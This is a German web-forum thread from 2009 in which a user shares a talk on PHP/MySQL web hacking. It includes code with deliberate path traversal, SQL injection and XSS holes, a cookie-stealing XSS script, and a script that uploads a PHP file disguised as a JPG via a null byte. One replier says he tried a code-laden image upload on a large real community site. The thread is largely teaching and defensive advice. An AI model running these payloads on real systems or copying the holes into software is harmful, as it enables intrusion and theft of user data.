You are not logged in.

Dear visitor, welcome to Coder Forum. If this is your first visit here, please read the Help. It explains in detail how this page works. To use all features of this page, you should consider registering. Please use the registration form, to register here or read more information about the registration process. If you are already registered, please login here.

1

Friday, March 27th 2009, 8:57pm

Präsentation zum Thema "Hacking"

Auf meiner Arbeit halten wir regelmäßig Tech Talks zu Themen die uns interessieren. Das Thema meiner Wahl fiel auf Webhacking mit PHP + MySQL.

Die Präsentation findet ihr hier: http://www.slideshare.net/d0nut/webhacks…spiel-php-mysql


Die Themen waren:

Paris Hilton Bug
Hier geht es um die Dummheit der Benutzer. Angefangen vom dummen User über ein CMS mit schlecht kommunizierten Benutzerrechten, bis hin zum Payment Anbieter der wichtige Felder vom Hashen ausnimmt.

XSS
Falls dem Benutzer ermöglicht wird an irgendeiner Stelle der Domain HTML Code einzuschleusen ist der Weg für Cross Site Scripting geebnet.
Damit können Cookies ausgelesen und damit fremde Identitäten übernommen werden.

SQL Injections
Mit SQL Injections lassen sich Daten manipulieren oder in Erfahrung bringen.

Session Stealing
Wird die Session nach Login/Registrierung nicht erneuert kann ein Angreifer dem Opfer seine Session unterjubeln.

File Inclusion
Ein Dateiupload ist ein potentielles Sicherheitsrisiko, wenn man die Dateien nicht aufs Genauste prüft.

Technikausblick
Andere Techniken wie Phising und E-Mail Manipulation erklärt.

Literatur zum weiter arbeiten.


Beispielcodes

Zugriffsschutz auf ein Bild ausgehebelt.

PHP Quellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
header('Content-Type: image/png');
 
$watch_permission = true;
if($watch_permission) {
	include 'connect.php';
	$res = mysql_query('SELECT image_path FROM user WHERE id = 1');
	$row = mysql_fetch_array($res);
	$row['image_path'] = "icq"; // Original Daten (1)
	$row['image_path'] = "../../../../../../../../etc/passwd\0"; // manipulierte Daten (2)
	echo file_get_contents('images/'.$row['image_path'].'.jpg');
} else {
	echo file_get_contents('no-permissions.png');
}
?>


Newsletter abbestellen für alle

PHP Quellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html><body>
<?php
if(count($_REQUEST)) {
	include 'connect.php';
	mysql_query('UPDATE user SET newsletter = '.$_REQUEST['news'].' WHERE userid = 10');
}
?>
<form method="post">
	<select name="news">
	<option value="0">bestellen</option>
	<option value="1">abbestellen</option>
	</select>
	<input type="submit"/>
</form>
</body></html>


Produktkatalog mit Zugangsdaten

PHP Quellcode

1
2
3
4
5
6
7
8
9
<html><body>
<?php
include 'connect.php';
$res = mysql_query('SELECT titel FROM category WHERE id = '.$_GET['id']);
while($row = mysql_fetch_array($res)) {
	printf("<li>%s</li>", $row['titel']);
}
?>
</body></html>


So einfach geht Cross Site Scripting
search.php

PHP Quellcode

1
2
3
4
5
6
7
8
9
10
11
12
<?php
include 'connect.php';
session_start();
$_SESSION['user'] = md5(rand(1,99));
?>
<html><body>
Ihre Suche nach <?=$_REQUEST['q']?>:
 
<ol>
	<li><a href="searchhack.php">searchhack.php</a></li>
</ol>
</body></html>


searchhack.php

PHP Quellcode

1
2
3
4
<script>
document.location = ('http://localhost/plista/hacking/examples/search.php?q=<script>document.'+
'write("<img src=http://localhost/plista/hacking/examples/search.php/" + document.cookie + ">")</s'+'cript>');
</script>


So verschicke ich manipulierte Upload Dateien

PHP Quellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
function PostToHost($host, $port, $path, $postdata, $filedata) {
     $data = "";
     $boundary = "---------------------".substr(md5(rand(0,32000)),0,10);
     $fp = fsockopen($host, $port);
 
     fputs($fp, "POST $path HTTP/1.0\n");
     fputs($fp, "Host: $host\n");
     fputs($fp, "Content-type: multipart/form-data; boundary=".$boundary."\n");
 
     // Ab dieser Stelle sammeln wir erstmal alle Daten in einem String
     // Sammeln der POST Daten
     foreach($postdata as $key => $val){
         $data .= "--$boundary\n";
         $data .= "Content-Disposition: form-data; name=\"".$key."\"\n\n".$val."\n";
     }
     $data .= "--$boundary\n";
 
     // Sammeln der FILE Daten
     $data .= "Content-Disposition: form-data; name=\"{$filedata[0]}\"; filename=\"{$filedata[1]}\"\n";
     $data .= "Content-Type: image/jpeg\n";
     $data .= "Content-Transfer-Encoding: binary\n\n";
     $data .= $filedata[2]."\n";
     $data .= "--$boundary--\n";
 
     // Senden aller Informationen
     fputs($fp, "Content-length: ".strlen($data)."\n\n");
     fputs($fp, $data);
 
     // Auslesen der Antwort
     while(!feof($fp)) {
         $res .= fread($fp, 1);
     }
     fclose($fp);
 
     return $res;
}
 
echo PostToHost ("localhost", 80, "/plista/hacking/examples/upload.php", 
	array('var1'=>'test'), array('img', "filename.php%00.jpg", '<?php die("fremdcode"); ?>'));
 
?>


und so werden sie oft empfangen:

PHP Quellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html><body>
<?php
if(count($_REQUEST)) {
	umask(0777);
	if(preg_match('/\.(png|gif|jpg)$/', $_FILES['img']['name'])) {
		move_uploaded_file($_FILES['img']['tmp_name'], 'upload/'.$_FILES['img']['name']);
		echo "upload success";
	} else {
		echo "wrong type";
	}
}
?>
<form method="post" enctype="multipart/form-data">
	<input type="file" name="img" />
	<input type="submit" name="submit" value="Datei Upload" />
</form>
</body></html>


Man sollte seine Cookies niemals disablen, sonst werden sie per $_GET übertragen

PHP Quellcode

1
2
3
4
5
6
7
8
9
10
11
12
<?php
//beispiel macht nur mit deaktivierten cookie sinn
session_start();
$_SESSION['user'] = md5(rand(1,99));
 
if(isset($_SERVER['HTTP_REFERER'])) printf("referer: %s", $_SERVER['HTTP_REFERER']);
?>
<html><body>
<ol>
	<li><a href="sessionreferer.php?<?=SID?>">sessionreferer.php</a></li>
</ol>
</body></html>

2

Monday, March 30th 2009, 6:40pm

Schick.

Wobei bei dem Script welches die PHP Datei versendet, welche durch das nullbyte nicht erkannt werden soll bin ich der Meinung das dieser Weg gar nicht mehr funktioniert.
Ich hab soetwas auch mal geschrieben, das nullbyte wurde zwar gesendet, doch hat PHP bereits im $_FILES array alles hinter dem nullbyte abgehackt. Kp ob ich da villeicht doch einen Fehler drinne hatte.

Aber nette Scripts und Infos :)

Und du hast vollkommen Recht, viele Seiten validieren mangelhaft, z.B. webspell: hier kann man dein php-file script sofort anwenden(nicht nur das :x)

3

Monday, March 30th 2009, 8:17pm

Wirklich interessant dein Vortrag. Und auch sehr lehrreich für mich. Nur dieses Nullbyte das versteh ich noch nicht so ganz.
Hier wird es ja dargestellt, dass es eine schwerwiegende Sicherheitslücke ist. Was hat es damit auf sich?

4

Monday, March 30th 2009, 9:54pm

Hier wird es ja dargestellt, dass es eine schwerwiegende Sicherheitslücke ist. Was hat es damit auf sich?


Wenn du ein Uploadscript hast, dann kannst du in den Dateinamen ein Nullbytezeichen unterbringen.

Quoted

filename.php%00.jpg


Vorrausgesetzt, es wird nur die Dateiendung gecheckt.
Serverseitig wird erkannt, dass es sich um ein .jpg handelt.
Doch ein Unix System (der Server) würde alles nach dem Nullbyte zeichen ignorieren und eine Datei mit diesem Namen speichern:

Quoted

filename.php


So einfach könntest du deine eigenen Scripte schreiben und hochladen, wenn es nur eine Prüfung auf die Dateiendung gäbe und das Nullbyte Zeichen nicht entfernt wird.

5

Tuesday, March 31st 2009, 9:05am

Oh, das stimmt.. das habe ich nicht erwähnt.
Ich konnte den Nullbyte Hack auf aktuellem Apache2 mit aktuellem PHP5 leider auch nicht mehr nachvollziehen.

Andere Hacks sind zum Teil auch nicht möglich wenn Magic Quotes aktiviert sind.
Wobei die eigentlich meist irrelevant sind, da der Programmierer früher oder später stripslashes anwenden wird.

Wie in der Präsentation verwiesen: Ausführliches Material gibt es unter http://www.erich-kachel.de/
Auch wenn nicht alle Hacks auf das eigene System angewendet werden können, so muss man gerade bei irgendwelchen Produkten die auch auf alten Systemen installiert werden können, doppelte Vorsicht wahren.

6

Thursday, April 2nd 2009, 12:55am

Oha dann kann dieses kleine Nullbyte ja doch erheblichen Schaden anrichten. Sehr gut zu wissen. Auch wenn er nicht mehr bei neueren Versionen anwendbar ist. Danke für die Erklärung :)

7

Monday, April 6th 2009, 12:39am

Wie du es sagst D0nut... Schade :)

Aber was solls, dafür sinkt das Risiko nicht selber mal eine Tür im System offen zu lassen :whistling:

Außerdem gibt es ja noch genug andere Möglichkeiten ein bissl zu toben :thumbup:

8

Monday, April 6th 2009, 8:27am

Es gibt noch eine Möglichkeit Code in ein Bild einzuschleusen.

Also einfach das Bild öffnen und am Ende PHP Code reinschreiben oder einfach nur eine php Datei in eine jpg Datei umbenennen.

PHP Quellcode

1
[...]`Oò5ßg(YxJMEëJ¶ÐÚbV	Väè¦2L”"°×‹Ý:MëÚwºÿÙ <?php echo 'test'; ?>


Das Bild ist dadurch natürlich ungültig und kann auch von einem Browser o.ä. nicht mehr interpretiert werden.
Aber wenn es zu so einem schwerwiegenden Fehler kommt:

PHP Quellcode

1
2
3
<?php
include_once 'images/'.$_GET['image_name'];
?>

... dann wird das fehlerhafte Bild includet und auch interpretiert und in diesem Fall "test" ausgegeben.


Ich habe das grade bei einer recht großen Community ausprobiert und beim hochladen eines beschädigten Bildes gab es überhaupt keine Probleme.
Wenn ich jetzt noch eine include Sicherheitslücke finden würde, dann hätte ich eine viertel Mio. persönliche Daten.


Als minimum für die Absicherung kann man immer mit getimagesize() das Bild auf die Größenverhältnisse prüfen.
Bei einem defekten Bild funktioniert das natürlich nicht.

9

Monday, April 6th 2009, 9:25am

Sehr erstaunlich und auch sehr gefährlich. Ich denke, dass das den wenigsten PH-Programmierern bekannt sein wird. Ich werde in Zukunft auf jeden Fall darauf achten, erst alle Bilder mit getimagesize() zu prüfen.

10

Monday, April 6th 2009, 1:38pm

Ebenfalls beliebt ist, das Bild mit GD zu öffnen, (vll. nen pixel zu setzen) und dann wieder speichern. (am besten sogar noch in einem anderen Format).

Dann sollte das Bild wirklich frei sein.

Bei nicht-bild-dateien kann man z.B. durch Manipulation der Datei den PHP Code außer Kraft setzen.
In dem man die Datei base64 codiert oder zipped sorgt man dafür das bei einer Include-Lücke nichts mehr passieren kann.
ber ein Download script werden die Daten dann erst wieder decodiert und zum Client gesendet.

11

Thursday, April 9th 2009, 8:28pm

Haay

aber Session Array an sich kann doch nicht manipuliert werden, wenn ich keine SessionID übergebe, oder? :rolleyes:

12

Thursday, April 9th 2009, 9:05pm

Auf welche Attacke zielst du mit deiner Frage ab? Kann man PHP Code ausführen geht das natürlich. Mit JavaScript/XSS kannst du die Session Daten aber nicht manipulieren. Korrekt. Diese Arten der Attacken zielen auf den Benutzer - nicht auf das System.

13

Thursday, April 9th 2009, 9:08pm

das zweite war das ^^

Also bin ich gesichert :D

Danke für die Infos!!

das mit Integer MYSQL INJEKTION war mir ebenfalls neu. habe bis jetzt mysql_real_escape_string(trim(addslashes())); benutzt :D

auch in meinem Code als "escapen()" bekannt :D

14

Friday, April 10th 2009, 4:11am

Sehe ich nicht unbedingt genauso.

Eine Attacke kann durchaus auf dsa System gestartet werden, wenn eine Sicherheitslücke gefunden wurde.

z.B

PHP Quellcode

1
$_GET['name'] = $_SESSION['name'];

Hier hat man die Möglichkeit auf das Sessionarray Einfluss zu nehmen.

15

Friday, April 10th 2009, 3:37pm

hey vince

wenn ich aber mysql_real_escap..... verwende, dann kann doch eigentlich nicht PHP Code eingespeist werde mit z.B. <?php print_r($_SESSION); ?>

oder? dann sollte die Fkt eigentlich < escapen, richtig?

16

Saturday, April 11th 2009, 12:21pm

Bist du jetztr bei der SQL Injection oder der XSS Atacke , oder gar bei beidem ? ;)


Quoted

aber Session Array an sich kann doch nicht manipuliert werden, wenn ich keine SessionID übergebe, oder? :rolleyes:

Wenn du die SESS ID nicht übergibst, dann gibt es auch keine Session Daten.

Quoted

das mit Integer MYSQL INJEKTION war mir ebenfalls neu. habe bis jetzt mysql_real_escape_string(trim(addslashes())); benutzt


Dazu steht bei php.net
http://de3.php.net/manual/de/function.my…cape-string.php

Quoted

mysql_real_escape_string() ruft die Funktion mysql_real_escape_string der MySQL-Bibliothek auf, die folgende Zeichen mit einem Backslash ('\') versieht: \x00, \n, \r, \, ', " und \x1a.
Die Funktion muss immer (mit wenigen Ausnahmen) verwendet werden, um Daten abzusichern, bevor sie per Query an MySQL übermittelt werden.

Ich weiss nicht wie Up-To-Date das ist, aber afaik werden da einige Zeichen nicht berücksichtigt.

Wenn du die mysqli ext installiert hast (was schon auf vielen Servern zum std. geworden ist) ist die bind_param Funktion noch besser.
http://de3.php.net/manual/de/mysqli-stmt.bind-param.php
Dort werden die Daten abgeschirmt an die DB versandt.

Heisst, dass einmal der Query mit den Platzhaltern an die DB geht sowie die Parameter und die DB sich dann um den Rest kümmert.
Ein weiterer Vorteil ist, dass du gleich den Typ mit angeben kannst so, dass wenn du einen INTEGER festlegst, man keinen String draus basteln kann. (Wobei man niemals nie sagen soll *g)

Social bookmarks